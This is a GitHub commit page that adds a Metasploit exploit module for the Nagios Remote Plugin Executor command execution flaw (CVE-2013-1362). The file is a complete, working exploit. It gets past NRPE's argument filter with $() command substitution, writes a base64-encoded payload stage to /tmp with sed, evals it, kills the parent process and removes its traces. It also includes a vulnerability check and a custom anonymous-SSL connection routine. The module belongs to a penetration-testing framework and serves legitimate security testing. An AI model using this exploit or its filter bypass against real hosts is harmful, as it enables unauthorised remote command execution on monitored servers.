Skip to content

Commit 7e5d4bc

Browse files
author
jvazquez-r7
committed
Landing rapid7#1614, @jwpari nagios nrpe exploit
2 parents e3eef76 + 036d997 commit 7e5d4bc

File tree

1 file changed

+189
-0
lines changed

1 file changed

+189
-0
lines changed
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
#
8+
9+
require 'msf/core'
10+
require 'zlib'
11+
12+
class Metasploit3 < Msf::Exploit::Remote
13+
Rank = ExcellentRanking
14+
15+
include Msf::Exploit::Remote::Tcp
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
20+
'Description' => %q{
21+
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
22+
Nagios server to actively poll information from the hosts it monitors. NRPE
23+
has a configuration option dont_blame_nrpe which enables command-line arguments
24+
to be provided remote plugins. When this option is enabled, even when NRPE makes
25+
an effort to sanitize arguments to prevent command execution, it is possible to
26+
execute arbitrary commands.
27+
},
28+
'Author' =>
29+
[
30+
'Rudolph Pereir', # Vulnerability discovery
31+
'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-1362' ],
36+
[ 'OSVDB', '90582'],
37+
[ 'BID', '58142'],
38+
[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
39+
],
40+
'License' => MSF_LICENSE,
41+
'Platform' => 'unix',
42+
'Arch' => ARCH_CMD,
43+
'Payload' =>
44+
{
45+
'DisableNops' => true,
46+
'Compat' =>
47+
{
48+
'PayloadType' => 'cmd',
49+
'RequiredCmd' => 'perl python ruby bash telnet',
50+
# *_perl, *_python and *_ruby work if they are installed
51+
}
52+
},
53+
'Targets' =>
54+
[
55+
[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
56+
],
57+
'DefaultTarget' => 0,
58+
'DisclosureDate' => 'Feb 21 2013'
59+
))
60+
61+
register_options(
62+
[
63+
Opt::RPORT(5666),
64+
OptEnum.new('NRPECMD', [
65+
true,
66+
"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
67+
'check_procs',
68+
['check_procs', 'check_users', 'check_load', 'check_disk']
69+
]),
70+
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
71+
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
72+
], self.class)
73+
end
74+
75+
def send_message(message)
76+
packet = [
77+
2, # packet version
78+
1, # packet type, 1 => query packet
79+
0, # checksum, to be added later
80+
0, # result code, discarded for query packet
81+
message, # the command and arguments
82+
0 # padding
83+
]
84+
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
85+
begin
86+
self.sock.put(packet.pack("nnNna1024n")) #send the packet
87+
res = self.sock.get_once # get the response
88+
rescue ::EOFError => eof
89+
res = ""
90+
end
91+
92+
return res.unpack("nnNnA1024n")[4] unless res.nil?
93+
end
94+
95+
def setup
96+
@ssl_socket = nil
97+
@force_ssl = false
98+
super
99+
end
100+
101+
def exploit
102+
103+
if check != Exploit::CheckCode::Vulnerable
104+
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
105+
end
106+
107+
stage = "setsid nohup #{payload.encoded} & "
108+
stage = Rex::Text.encode_base64(stage)
109+
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
110+
command = datastore['NRPECMD']
111+
command << "!"
112+
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
113+
# need a way to write to a file without using redirection (>)
114+
# cant count on perl being on all linux hosts, use GNU Sed
115+
# TODO: Probably a better way to do this, some hosts may not have a /tmp
116+
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
117+
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
118+
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
119+
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
120+
command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
121+
command << "$(rm -f /tmp/$$))" # clean the file with the stage
122+
connect
123+
print_status("Sending request...")
124+
send_message(command)
125+
disconnect
126+
end
127+
128+
def check
129+
print_status("Checking if remote NRPE supports command line arguments")
130+
131+
begin
132+
# send query asking to run "fake_check" command with command substitution in arguments
133+
connect
134+
res = send_message("__fake_check!$()")
135+
# if nrpe is configured to support arguments and is not patched to add $() to
136+
# NASTY_META_CHARS then the service will return:
137+
# NRPE: Command '__fake_check' not defined
138+
if res =~ /not defined/
139+
return Exploit::CheckCode::Vulnerable
140+
end
141+
# Otherwise the service will close the connection if it is configured to disable arguments
142+
rescue EOFError => eof
143+
return Exploit::CheckCode::Safe
144+
rescue Errno::ECONNRESET => reset
145+
unless datastore['NRPESSL'] or @force_ssl
146+
print_status("Retrying with ADH SSL")
147+
@force_ssl = true
148+
retry
149+
end
150+
return Exploit::CheckCode::Safe
151+
rescue => e
152+
return Exploit::CheckCode::Unknown
153+
end
154+
# TODO: patched version appears to go here
155+
return Exploit::CheckCode::Unknown
156+
157+
end
158+
159+
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
160+
161+
# setting the global SSL => true will break as we would be overlaying
162+
# an SSLSocket on another SSLSocket which hasnt completed its handshake
163+
def connect(global = true, opts={})
164+
165+
self.sock = super(global, opts)
166+
167+
if datastore['NRPESSL'] or @force_ssl
168+
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
169+
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
170+
ctx.ciphers = "ADH"
171+
172+
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
173+
174+
@ssl_socket.connect
175+
176+
self.sock.extend(Rex::Socket::SslTcp)
177+
self.sock.sslsock = @ssl_socket
178+
self.sock.sslctx = ctx
179+
end
180+
181+
return self.sock
182+
end
183+
184+
def disconnect
185+
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
186+
super
187+
end
188+
189+
end

0 commit comments

Comments
 (0)